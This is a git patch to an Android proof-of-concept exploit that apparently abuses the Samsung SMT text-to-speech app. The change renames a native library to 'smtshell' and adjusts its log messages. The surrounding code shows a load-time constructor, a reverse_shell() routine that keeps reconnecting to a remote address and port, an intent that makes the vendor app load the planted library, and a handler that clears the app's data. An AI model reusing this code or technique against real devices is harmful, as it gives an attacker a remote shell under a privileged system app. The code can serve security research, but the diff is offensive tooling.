From bdacaf9aa40f759c99b87b9393ec033f73536aeb Mon Sep 17 00:00:00 2001 From: Chase Montgomery Date: Mon, 6 Mar 2023 00:10:14 -0500 Subject: [PATCH] changed some file names and log strings --- .../main/java/com/samsung/SMT/lang/poc/MyService.java | 2 +- langpoc/app/src/main/jni/Android.mk | 4 ++-- langpoc/app/src/main/jni/{mstring.c => smtshell.c} | 11 +++++++---- 3 files changed, 10 insertions(+), 7 deletions(-) rename langpoc/app/src/main/jni/{mstring.c => smtshell.c} (74%) diff --git a/langpoc/app/src/main/java/com/samsung/SMT/lang/poc/MyService.java b/langpoc/app/src/main/java/com/samsung/SMT/lang/poc/MyService.java index 7725358..7040c88 100644 --- a/langpoc/app/src/main/java/com/samsung/SMT/lang/poc/MyService.java +++ b/langpoc/app/src/main/java/com/samsung/SMT/lang/poc/MyService.java @@ -11,7 +11,7 @@ public class MyService extends Service { public void onCreate() { super.onCreate(); - final String input = this.getApplicationInfo().nativeLibraryDir + "/" + "libmstring.so"; + final String input = this.getApplicationInfo().nativeLibraryDir + "/" + "libsmtshell.so"; Intent bi = new Intent(); bi.setAction("com.samsung.SMT.ACTION_INSTALL_FINISHED"); diff --git a/langpoc/app/src/main/jni/Android.mk b/langpoc/app/src/main/jni/Android.mk index 1fbdc85..262e48f 100644 --- a/langpoc/app/src/main/jni/Android.mk +++ b/langpoc/app/src/main/jni/Android.mk @@ -1,9 +1,9 @@ LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) -LOCAL_MODULE := libmstring +LOCAL_MODULE := libsmtshell LOCAL_CFLAGS := -std=c17 -Wall -Werror LOCAL_SRC_FILES := \ - mstring.c + smtshell.c LOCAL_LDLIBS := -ldl -llog include $(BUILD_SHARED_LIBRARY) diff --git a/langpoc/app/src/main/jni/mstring.c b/langpoc/app/src/main/jni/smtshell.c similarity index 74% rename from langpoc/app/src/main/jni/mstring.c rename to langpoc/app/src/main/jni/smtshell.c index 992864d..41fe51d 100644 --- a/langpoc/app/src/main/jni/mstring.c +++ b/langpoc/app/src/main/jni/smtshell.c @@ -7,7 +7,10 @@ #include #include -#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, "mercury-native", __VA_ARGS__) +#define LOG_TAG "smtshell" +#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__) +#define LOGW(...) __android_log_print(ANDROID_LOG_WARN, LOG_TAG, __VA_ARGS__) +#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__) #define REMOTE_ADDR "127.0.0.1" #define REMOTE_PORT 9999 @@ -22,7 +25,7 @@ static void reverse_shell() { s = socket(AF_INET, SOCK_STREAM, 0); while (connect(s, (struct sockaddr *) &sa, sizeof(sa)) != 0) { - LOGE("connect() error: %s", strerror(errno)); + LOGW("connect() error: %s", strerror(errno)); sleep(1); // keep trying to connect } @@ -39,13 +42,13 @@ static void reverse_shell() { */ void sig_handler(int signo) { if (signo == SIGTERM) { - LOGE("caught SIGTERM, clearing SMT data"); + LOGI("caught SIGTERM, clearing SMT data"); system("pm clear com.samsung.SMT"); } } __attribute__((constructor)) static void on_load() { - LOGE("on_load() called, my uid is %d", getuid()); + LOGI("on_load() called, my uid is %d", getuid()); if (signal(SIGTERM, sig_handler) == SIG_ERR) { LOGE("can't catch SIGTERM!"); }